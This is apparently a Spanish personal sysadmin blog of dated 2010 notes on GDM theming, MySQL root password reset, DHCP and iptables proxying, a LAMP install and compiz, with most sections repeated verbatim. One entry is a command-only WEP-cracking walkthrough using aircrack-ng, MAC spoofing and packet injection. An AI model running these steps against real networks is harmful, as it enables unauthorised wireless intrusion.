1. Logout de nuestra sesión y regresamos al GDM, donde iniciamos sesión.
2. Sin logarnos, accedemos al terminal con Ctrl-Alt-F1
3. Nos logamos con nuestro usuario y contraseña.
4. Escribimos: export DISPLAY=:0.0
5. Escribimos: sudo -u gdm gnome-control-center
6. Apareceran unas cuentas respuestas, regresamos con ALT-F7
7. Gnome-control-center aparece cargado. Podemos usarlo para personalizar nuestro GDM.
8. Click en el icono Apariencia, ahora podremos cambiar la fuente de nuestro GDM, tema y en especial nuestra imagen de fondo.
9. Cerramos el gnome-control-center y nos logamos con normalidad.
martes, 12 de octubre de 2010
domingo, 25 de julio de 2010
pas mysql
# 1: Detener el proceso del servidor MySQL.
root@servidor-ubuntu:~# /etc/init.d/mysql stop
* Stopping MySQL database server mysqld [ OK ]
root@servidor-ubuntu:~#
# 2: Iniciar el servicio/demonio de MySQL (mysqld) con la opcion –skip-grant-tables asi no pedira contraseña.
root@servidor-ubuntu:~# mysqld_safe --skip-grant-tables &
[1] 10702
root@servidor-ubuntu:~# nohup: ignoring input and redirecting stderr to stdout
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[10741]: started
# 3: Conectar al servidor MySQL como el usuario root.
root@servidor-ubuntu:~# mysql -u root
Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 1
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or 'h' for help. Type 'c' to clear the buffer.
mysql>
Paso # 4: Configure la nueva contraseña de root.
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> update user set password=PASSWORD("321") where User='root';
Query OK, 3 rows affected (0.03 sec)
Rows matched: 3 Changed: 3 Warnings: 0
mysql> flush privileges;
Query OK, 0 rows affected (0.01 sec)
Paso # 5: Salir y reiniciar el servidor MySQL
mysql> quit
Bye
root@servidor-ubuntu:~# /etc/init.d/mysql stop
* Stopping MySQL database server mysqld
STOPPING server from pid file /var/run/mysqld/mysqld.pid
mysqld_safe[11414]: ended
[ OK ]
[1]+ Done mysqld_safe --skip-grant-tables
Paso # 6: Reinicio de MySQL
root@servidor-ubuntu:~# /etc/init.d/mysql start
* Starting MySQL database server mysqld [ OK ]
* Checking for corrupt, not cleanly closed and upgrade needing tables.
root@servidor-ubuntu:~# mysql -u root -p
root@servidor-ubuntu:~# /etc/init.d/mysql stop
* Stopping MySQL database server mysqld [ OK ]
root@servidor-ubuntu:~#
# 2: Iniciar el servicio/demonio de MySQL (mysqld) con la opcion –skip-grant-tables asi no pedira contraseña.
root@servidor-ubuntu:~# mysqld_safe --skip-grant-tables &
[1] 10702
root@servidor-ubuntu:~# nohup: ignoring input and redirecting stderr to stdout
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[10741]: started
# 3: Conectar al servidor MySQL como el usuario root.
root@servidor-ubuntu:~# mysql -u root
Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 1
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or 'h' for help. Type 'c' to clear the buffer.
mysql>
Paso # 4: Configure la nueva contraseña de root.
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> update user set password=PASSWORD("321") where User='root';
Query OK, 3 rows affected (0.03 sec)
Rows matched: 3 Changed: 3 Warnings: 0
mysql> flush privileges;
Query OK, 0 rows affected (0.01 sec)
Paso # 5: Salir y reiniciar el servidor MySQL
mysql> quit
Bye
root@servidor-ubuntu:~# /etc/init.d/mysql stop
* Stopping MySQL database server mysqld
STOPPING server from pid file /var/run/mysqld/mysqld.pid
mysqld_safe[11414]: ended
[ OK ]
[1]+ Done mysqld_safe --skip-grant-tables
Paso # 6: Reinicio de MySQL
root@servidor-ubuntu:~# /etc/init.d/mysql start
* Starting MySQL database server mysqld [ OK ]
* Checking for corrupt, not cleanly closed and upgrade needing tables.
root@servidor-ubuntu:~# mysql -u root -p
jueves, 22 de julio de 2010
DHCP y iptables
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.50 192.168.1.99;
option domain-name-servers 200.33.146.162;
option routers 192.168.1.100;
option broadcast-address 192.168.1.255;
default-lease-time 600;
max-lease-time 7200;
}
iptables
/etc/rc.local
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128
exit 0
range 192.168.1.50 192.168.1.99;
option domain-name-servers 200.33.146.162;
option routers 192.168.1.100;
option broadcast-address 192.168.1.255;
default-lease-time 600;
max-lease-time 7200;
}
iptables
/etc/rc.local
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128
exit 0
miércoles, 2 de junio de 2010
LAMP CentOS 5
Instalacion de Apache
yum install httpd httpd-devel
Levantando Apache
service httpd start
Instalando MySQL
yum install mysql mysql-server mysql-devel
Levantando MySQL
service mysqld start
Entrando a Mysql para cambio de password por defaul en blanco
mysql -u root -p
enter
mysql> USE mysql;
mysql> UPDATE user SET Password=PASSWORD('tu nueva contraseña')
WHERE user='root';
mysql> FLUSH PRIVILEGES;
mysql> quit
mysql -u root -p
Enter Password:
yum install php php-mysql php-common php-gd php-mbstring php-mcrypt php-devel php-xml
service httpd restart
Bajar PHPmyadmin
o instalarlo
yum -y install phpmyadmin
modificar el archivo config.inc.php
blowfish_secret e introducir palabra calave
para actualizar PHP checar entradas anteriores
y reinstalar php-mcrypt
yum -y install php-mcrypt
yum install httpd httpd-devel
Levantando Apache
service httpd start
Instalando MySQL
yum install mysql mysql-server mysql-devel
Levantando MySQL
service mysqld start
Entrando a Mysql para cambio de password por defaul en blanco
mysql -u root -p
enter
mysql> USE mysql;
mysql> UPDATE user SET Password=PASSWORD('tu nueva contraseña')
WHERE user='root';
mysql> FLUSH PRIVILEGES;
mysql> quit
mysql -u root -p
Enter Password:
yum install php php-mysql php-common php-gd php-mbstring php-mcrypt php-devel php-xml
service httpd restart
Bajar PHPmyadmin
ln -s /usr/share/phpMyAdmin /var/www/html/phpmyadmin
para actualizar PHP checar entradas anteriores
domingo, 16 de mayo de 2010
ubuntu compiz
gedit /etc/apt/sources.list
deb http://download.tuxfamily.org/3v1deb feisty eyecandy
deb-src http://download.tuxfamily.org/3v1deb feisty eyecandy
wget http://download.tuxfamily.org/3v1deb/DD800CD9.gpg -O- | sudo apt-key add -
apt-get update
aptitude remove compiz-core desktop-effects
apt-get install compiz # compiz-gnome AND/OR compiz-kde
apt-get install compizconfig-settings-manager # compizconfig-backends-* ?!
deb http://download.tuxfamily.org/3v1deb feisty eyecandy
deb-src http://download.tuxfamily.org/3v1deb feisty eyecandy
wget http://download.tuxfamily.org/3v1deb/DD800CD9.gpg -O- | sudo apt-key add -
apt-get update
aptitude remove compiz-core desktop-effects
apt-get install compiz # compiz-gnome AND/OR compiz-kde
apt-get install compizconfig-settings-manager # compizconfig-backends-* ?!
jueves, 18 de marzo de 2010
wep
apt-get update
sudo apt-get install aircrack-ng
apt-get install macchanger
airmon-ng start wlan0
sudo ifconfig mon0 down
sudo macchanger -m 00:11:22:33:44:55 mon0
sudo ifconfig mon0 up
sudo airodump-ng mon0
control – c
sudo airodump-ng -c [# canal] -w [nombre red] --bssid [direccion MAC] mon0
TERMINAL 2
sudo aireplay-ng -1 6000 -a [direccion MAC] -h 00:11:22:33:44:55 mon0
TERMINAL 3
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [direccion MAC] -h 00:11:22:33:44:55 mon0
Le decimos que si (y) y le damos enter
TERMINAL 4
sudo aircrack-ng -z [nombre red]*.cap
sudo apt-get install aircrack-ng
apt-get install macchanger
airmon-ng start wlan0
sudo ifconfig mon0 down
sudo macchanger -m 00:11:22:33:44:55 mon0
sudo ifconfig mon0 up
sudo airodump-ng mon0
control – c
sudo airodump-ng -c [# canal] -w [nombre red] --bssid [direccion MAC] mon0
TERMINAL 2
sudo aireplay-ng -1 6000 -a [direccion MAC] -h 00:11:22:33:44:55 mon0
TERMINAL 3
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [direccion MAC] -h 00:11:22:33:44:55 mon0
Le decimos que si (y) y le damos enter
TERMINAL 4
sudo aircrack-ng -z [nombre red]*.cap
sábado, 13 de marzo de 2010
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